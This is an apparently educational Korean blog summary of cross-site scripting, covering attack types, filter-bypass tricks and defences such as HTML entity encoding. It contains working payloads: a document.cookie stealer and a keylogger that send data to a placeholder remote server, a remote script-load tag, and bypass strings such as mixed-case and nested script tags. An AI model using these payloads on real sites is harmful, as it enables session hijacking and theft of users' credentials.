XSS 총 정리
XSS ( Cross-Site Scripting ) 란
- 클라이언트 측 스크립트를 삽입하는 공격이다.
- 웹 애플리케이션에서 발생하는 취약점이다.
- 클라이언트 만이 피해를 입는다. 즉 서버에는 아무런 악영향을 안 끼친다.
- 클라이언트의 브라우저에서 개발자가 의도하지 않았던 스크립트가 실행된다.
- 취약한 웹 애플리케이션을 이용하는 사용자가 주 타겟이 된다.
- 사용자 쿠키를 탈취하는 세션 하이재킹( session hijacking ) 공격을 수행할 수 있다.
클라이언트 측 코드
- html
- javascript
- css
POC 코드
- 웹 애플리케이션 XSS 취약점을 이용한 공격이 가능함을 확인할 수 있다.
자주 이용하는 POC 코드
alert(1)
console.log(1)
공격 피해
사용자 쿠키 탈취
- document.cookie 를 활용하여 사용자 쿠키 값을 훔친다.
- 사용자 브라우저의 쿠키에 저장된 합법적인 Session ID 값이나 액세스 토큰 값을 훔쳐 원격지 서버로 전송한다.
var hackUrl = "원격지 서버?value=";
new Image().src = hackURL + document.cookie;
<img src=x onerror='var hackUrl = "원격지 서버?value=";new Image().src = hackURL + document.cookie;'>
사용자 개인정보 탈취
- Key Logger 방식으로 사용자 입력을 탈취한다.
- XSS Keylog 가 삽입된 페이지에 사용자가 접근하면 Keyboard Event 를 통해 입력 값을 후킹한다.
- 후킹한 값을 원격지 서버로 전송한다.
var keys = "";
var hackUrl = "원격지 서버?value=";
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys != '') {
new Image().src = hackUrl + keys;
keys = '';
}
}, 200);
악성코드 다운로드
- 사용자가 악성 스크립트가 있는 URL을 클릭하도록 유도하여 악성 프로그램 다운로드 받는 사이트로 리타이렉한다.
- 사용자가 악성 프로그램을 다운로드 하도록 유도한다.
피싱 사이트 강제 이동
- 가짜 사이트로 위장하여 사용자의 로그인 정보를 탈취한다.
- 실제 사이트와 유사한 웹 페이지를 통해 사용자의 개인정보를 훔쳐올 수 있다.
공격 유형
Stored ( 또는 Persistent ) XSS
- 공격자가 악성 스크립트를 취약한 웹 서버에 저장하는 공격이다.
- 광역적으로 공격이 가능하다. 하지만 흔적이 웹 서버에 남는다.
- 지속적으로 피해를 입히는 공격이다.
- 공격자가 악성 스크립트를 웹 서버 페이지에 저장하고 해당 페이지가 사용자에게 노출시켜 악성 스크립트가 사용자 브라우저에서 자동으로 실행되게 된다.
취약점 유형
- 댓글
- 게시판
- 이메일
- 블로그 글
- 채팅방의 유저 이름
공격 과정
- 공격자가 Stored XSS 취약점을 가지는 웹 페이지( 게시판 )를 찾는다.
- 공격자가 게시판에 사용자의 민감한 정보( 쿠키 )를 탈취하기 위한 악성 스크립트 코드를 포함한 글을 작성하고 저장한다.
- 공격자가 작성한 글에 사용자가 들어가면 민감한 정보(쿠키)를 공격자에게 전송한다.
Reflected XSS
- Get 방식을 통해 공격이 이루어 진다.
- 사용자 입력을 그대로 페이지에 보여주는 곳에서 발생한다.
- 공격자는 URL에 악성 스크립트를 심고, 만들어진 URL을 사용자에게 전달한다. 이러면 사용자 브라우저에서 악성 스크립트가 실행된다.
- SSR ( Server Side Rendering ). 서버에서 페이지를 완성하여 사용자에게 보내주는 페이지에서 발생하는 취약점이다.
취약점 유형
- 사용자 입력을 그대로 페이지에 보여주는 사이트.
- 사용자 입력이 웹 페이지 코드에 그대로 들어가는 사이트.
과정
- 공격자가 Reflected XSS 취약점이 있는 페이지를 찾는다.
- 공격자는 XSS 취약점 페이지의 URL의 파라미터에 악성 스크립트 코드를 사입하여 공격 URL을 만든다.
- 공격자가 만든 URL을 사용자에게 건내주어 클릭하도록 유도한다.
- 사용자가 링크를 클릭하여 페이지 들어 가면 사용자 브라우저에서 악성 스크립트가 실행된다.
DOM Based XSS
- 서버 측에서 탐지하기가 어렵다.
- 최초에 HTML 문서를 서버로 부터 받으면, 그 이후에는 서버로 요청을 보내지 않고 악성스크립트를 심을 수 있다.
- 서버에 요청은 없지만, URL 주소 해시에 심은 악성 스크립트가 실행된다.
- CSR(Client Side Rendering) 클라이언트 사이드에서 페이지를 그려준다. 즉 클라이언트 브라우저의 javascript 에서 get 요청 값을 가져와 페이지를 완성시킨다.
취약점 유형
- 사용자 입력을 그대로 페이지에 보여주는 사이트.
과정
- 공격자는 DOM Based XSS 취약점이 있는 페이지를 찾는다.
- 공격자는 XSS 취약점이 있는 페이지 URL의 파라미터에 악성 스크립트를 넣어준다.
- 공격자는 완성한 URL을 사용자에게 보내어 클릭하도록 유도한다.
- 사용자가 URL 링크를 클릭하여 페이지에 들어가면 사용자 브라우저에서 악성 스크립트가 동작한다.
XSS Bypass ( 우회방법 )
- 서버에서 Black List 기반의 XSS 필터링을 적용 되었을 때의 우회방법이다.
Client Side 검증 우회
- Burp Suite (프록시 툴)을 이용하여 다시 원래대로 만들어 준다.
client side에서 치환된다.
<script> => <script>
프록시 툴로 다시 원래대로 만든다.
<script> => <script>
Script Load
- XSS 공격할 때 글자 수가 제한되어 있다면 유용하다.
<script src="http://악성스크립트"></script>
대소문자 혼용하기
<script> => <ScRiPt>
필터링 되는 문자
- 만약 서버에서 script 라는 문자를 빈칸으로 바꾼다면 다음과 같이 우회하면 된다.
<script> => <scrscriptipt>
EventHandler
- 많은 태그와 이벤트 헨들러로 우회를 시도할 수 있다.
- https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
<img src=x onerror="alert(1)">
- onactivate
- onload
<svg>
<audio src="" onplay="" autoplay>
대응 방안
HTML Entity
- HTML 특수 문자들을 HTML Entity 로 모두 치환하면 된다.
문자 | 인코딩 된 문자 |
---|---|
& |
& |
< |
< |
> |
> |
' |
' |
" |
" |
( |
( |
) |
) |
/ |
/ |
문제점
- 하지만 HTML Editor 게시판에서는 전부 치환을 못한다.
- 잘 사용하지 않는 게시판이면 해당 게시판을 안쓰는 것이 좋다.
- 잘 사용되는 게시판이라면 White List 기반 필터링 과 Black List 기반 필터링을 같이 적용해야한다.
step 1. 모든 HTML 특수 문자들을 HTML Entity 로 치환한다.
step 2. White List 기반 필터링으로 살려줄 (허용해줄) 태그를 살려 준다.
ex) img, p, a, …
step 3. Black List 기반으로 Event Handler를 필터링 하기.
ex) onerror, onload 막기
참고
<p>
태그 안에서는<script>
태그가 안 먹힌다.
댓글남기기